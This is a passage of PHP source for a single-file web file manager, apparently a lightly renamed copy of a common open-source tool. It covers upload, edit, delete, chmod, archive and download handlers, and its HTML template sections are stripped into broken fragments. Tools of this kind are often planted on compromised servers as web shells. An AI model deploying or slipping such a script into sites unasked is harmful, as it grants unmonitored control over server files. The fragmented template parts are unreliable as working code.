parameter"); } event_callback(array("fail" => $err)); } } exit(); } if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' %s '.lng('Deleted') : lng('File').' %s '.lng('Deleted'); fm_set_msg(sprintf($msg, fanco($del))); } else { $msg = $is_dir ? lng('Folder').' %s '.lng('not deleted') : lng('File').' %s '.lng('not deleted'); fm_set_msg(sprintf($msg, fanco($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Create a new file/folder if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) { $type = urldecode($_POST['newfile']); $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) ); if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($type == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fanco($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' %s '.lng('already exists'), fanco($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('already exists'), fanco($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' %s '.lng('not created'), fanco($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) { // from $copy = urldecode($_GET['copy']); $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $from = FM_ROOT_PATH . '/' . $copy; $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); $move = isset($_GET['move']); $move = fm_clean_path(urldecode($move)); if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from)), 'error'); } } else { if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from)), 'error'); } } } else { if (!$move){ $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copied from %s to %s', fanco($copy), fanco($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fanco($copy), fanco($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 'alert'); } } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng('Invalid Token.'), 'error'); } // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); $from = $path . '/' . $f; $dest = $copy_to_path . '/' . $f; if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } // old name $old = urldecode($_POST['rename_from']); $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = urldecode($_POST['rename_to']); $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) and $old != '' and $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' %s '. lng('to').' %s', fanco($old), fanco($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' %s '. lng('to').' %s', fanco($old), fanco($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Download if (isset($_GET['dl'], $_POST['token'])) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } $dl = urldecode($_GET['dl']); $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' and is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // Upload if (!empty($_FILES) and !FM_READONLY) { if(isset($_POST['token'])) { if(!verifyToken($_POST['token'])) { $response = array ('status' => 'error','info' => "Invalid Token."); echo json_encode($response); exit(); } } else { $response = array ('status' => 'error','info' => "Token Missing."); echo json_encode($response); exit(); } $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $fullPathInput = fm_clean_path($_REQUEST['fullpath']); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $fullPathInput; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) { if ($chunkTotal){ $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { if (PHP_VERSION_ID < 80009) { do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } fwrite($out, $buff); } } while (!feof($in)); } else { stream_copy_to_stream($in, $out); } $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream", 'errorDetails' => error_get_last() ); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream" ); } if ($chunkIndex == $chunkTotal - 1) { if (file_exists ($fullPath)) { $ext_1 = $ext ? '.'.$ext : ''; $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1; } else { $fullPathTarget = $fullPath; } rename("{$fullPath}.part", $fullPathTarget); } } else { if (rename($tmp_name, $fullPath)) { if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $files = $_POST['file']; $sanitized_files = array(); // clean path foreach($files as $file){ array_push($sanitized_files, fm_clean_path($file)); } $files = $sanitized_files; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' %s '.lng('Created'), fanco($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Unpack zip, tar if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $unzip = urldecode($_POST['unzip']); $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' and is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_POST['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) and fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) and fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } if (isset($_GET['upload']) and !FM_READONLY) { fm_show_header(); fm_show_nav_path(FM_PATH); function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION and $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?>

:

' . PHP_EOL; } ?>

: , ', $copy_files) ?>

:
/

 

Copying

Source path:
Destination folder:

Copy   Move   Cancel

/>
/>
/>

""

:
File size:
MIME-type:
:
:
:
: %
'.lng('Image size').': ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '
'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo ''.lng('Charset').': ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
'; } ?>

 
 
     
'; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fanco($fn['name']) . '
'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
'; } } echo '
'; } else { echo '

'.lng('Error while fetching archive info').'

'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

'; } } elseif ($is_audio) { // Audio content echo '

'; } elseif ($is_video) { // Video content echo '
'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
' . fanco($content) . '
'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
' . fanco($content) . '
'; } echo $content; } ?>
'. $file. ''; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
' . htmlspecialchars($content) . ''; echo ''; } elseif ($is_text) { echo '
' . htmlspecialchars($content) . '
'; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

:

 

'?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?>
..
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
'.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?>
"; return; } echo "$external[$key]"; } function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null; } function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 and $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fanco(fm_convert_win($file_path)) ); } } function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) { return true; } return false; } function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin and class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false and $directory != '' and file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } function fm_get_zif_info($path, $ext) { if ($ext == 'zip' and function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' and class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } function fanco($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } function fm_set_msg($msg, $status = 'ok') { $_SESSION[DN_CESSION_ID]['message'] = $msg; $_SESSION[DN_CESSION_ID]['status'] = $status; } function fm_is_utf8($string) { return preg_match('//u', $string); } function fm_convert_win($filename) { if (FM_IS_WIN and function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } function fm_object_to_array($obj) { if (!is_object($obj) and !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': 